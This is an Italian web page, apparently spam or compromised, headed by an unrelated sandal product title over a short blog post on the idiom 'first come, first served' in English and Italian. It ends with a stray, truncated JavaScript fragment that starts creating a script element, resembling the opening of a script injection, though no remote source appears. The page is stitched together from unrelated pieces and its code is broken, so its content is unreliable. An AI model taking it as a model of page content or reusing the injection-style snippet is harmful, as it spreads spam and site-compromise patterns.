EU XZP Marrone Uomo Sandali 40 Brown SSqa6xwCH

E’ sicuramente capitato a tutti di venire a conoscenza di alcuni modi di dire britannici che in italiano, tradotti letteralmente, non hanno alcun significato apparente. Infatti è altamente raro che certe espressioni e modi di dire in inglese e in italiano siano letteralmente traducibili nell’altra lingua. E’ comunque altresì possibile incappare in modi di dire che, se tradotti letteralmente, possano avere lo stesso significato nelle due lingue.

In queste settimane vi presenteremo una serie di espressioni che potrebbero esservi utili per tradurre alcuni modi di dire e capirne il reale significato. In tal modo cercheremo di farvi evitare brutte figure nel caso in cui tali traduzioni letterali possano farvi incorrere in tutt’altri significati!

Questa settimana proponiamo una frase che può essere spiegata in modo letterale sia in italiano che in inglese. Se qualcuno si propone dicendo ad un gruppo di gente “primo arrivato, primo servito” (potrebbe capitare al ristorante, in una ferramenta o in rosticceria ad esempio) è chiaro quale sia il significato al momento di questo modo di dire. Lo stesso risultato si ha in lingua inglese con la corrispondente “first come, first served”!

 var d=document;var s=d.createElement(‘script’);